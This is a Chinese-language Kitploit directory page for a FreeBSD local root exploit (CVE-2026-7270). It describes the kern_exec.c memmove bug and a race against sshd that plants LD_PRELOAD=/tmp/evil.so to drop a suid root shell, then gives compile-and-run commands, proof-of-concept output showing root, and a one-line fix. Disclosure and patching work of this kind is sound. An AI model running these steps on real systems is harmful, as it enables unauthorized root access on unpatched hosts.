Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
freebsd-CVE-2026-7270 — CVE-2026-7270 FreeBSD 本地权限提升漏洞,源于 exec_args_adjust_args 中的越界内存移动(OOB memmove) | Kitploit
工具/GitHubGitHub/babyshen/freebsd-cve-2026-7270
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队二进制利用
GitHubbabyshen/freebsd-cve-2026-7270

freebsd-CVE-2026-7270

CVE-2026-7270 FreeBSD 本地权限提升漏洞,源于 exec_args_adjust_args 中的越界内存移动(OOB memmove)

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ref

https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270

CVE-2026-7270

FreeBSD 本地权限提升:exec_args_adjust_args 越界 memmove

exec_args_adjust_args()(sys/kern/kern_exec.c,自 2013 年起存在)中的一个运算符优先级错误,可让任何本地用户在运行 sshd 的默认 FreeBSD 安装上提升至 root 权限。无需 suid 二进制文件、无需内核模块、无需修改配置。

漏洞

root@kitploit:~
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
    args->endp - args->begin_argv + consume);   /* BUG: + 应为 - */

+ consume 应为 - consume。错误的符号导致 memmove 复制了 2 * consume 字节,而非正确的 endp - begin_argv - consume。在 shebang exec 中使用 265,185 字节的 argv[0] 时,memmove 会溢出 528,384 字节的 exec_map 条目,向相邻条目溢出 2,024 字节——不会崩溃、不会产生信号、不会触发页错误。

利用

该利用程序将越界 memmove 与 sshd 在传入 TCP 连接上的 fork/execv 进行竞争。sshd-session 以 root 到 root 的方式执行,没有 suid/sgid 转换,因此 issetugid() 返回 0,运行时链接器会接受 LD_PRELOAD。利用程序在 sshd-session 的 exec_map 条目中植入 LD_PRELOAD=/tmp/evil.so;evil.so 的构造函数以 uid=0 运行,并在 /tmp/rootsh 放置一个 suid root shell。

在 4 核 VM 上,启动约 6 秒后,于第 5,030 轮获得 root 权限。

影响

受影响版本FreeBSD 11.0 至 14.4(所有版本;截至披露时任何分支均无修复)
前提条件本地非特权 shell;sshd 运行中(FreeBSD 默认状态)
可靠性每轮命中率约 0.6%;在 4 核系统上数秒内获得 root
已测试FreeBSD 14.4-RELEASE-p1 amd64,GENERIC 内核,4 核,2GB 内存

修复

修改 sys/kern/kern_exec.c 中的一个字符:

root@kitploit:~
-    args->endp - args->begin_argv + consume);
+    args->endp - (args->begin_argv + consume));

文件

使用方法

在 FreeBSD 14.4 目标上,以任意非特权用户身份:

root@kitploit:~
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... 数秒后 ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)

在 QEMU 下(macOS 主机,需要 qemu 和 sshpass):

root@kitploit:~
./run_poc.sh        # 启动 VM,编译,运行利用程序
./run_poc.sh run    # 对已运行的 VM 重新执行
./run_poc.sh clean  # 移除 VM 工件

PoC

root@kitploit:~
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:


[!!!] ROOT OBTAINED!
  uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p

[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x  1 root wheel 169288 May  7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
下载工具
文件描述
exec1_lpe21.c自包含利用程序——编译后以非特权用户运行
run_poc.shQEMU 自动化:启动 FreeBSD 14.4,编译并运行利用程序
WRITEUP.md完整技术文档:漏洞分析、利用架构、开发历史
blog.md发现与利用开发的叙述性记录
images/SVG 图表:exec_map 布局、自复制机制、完整攻击概览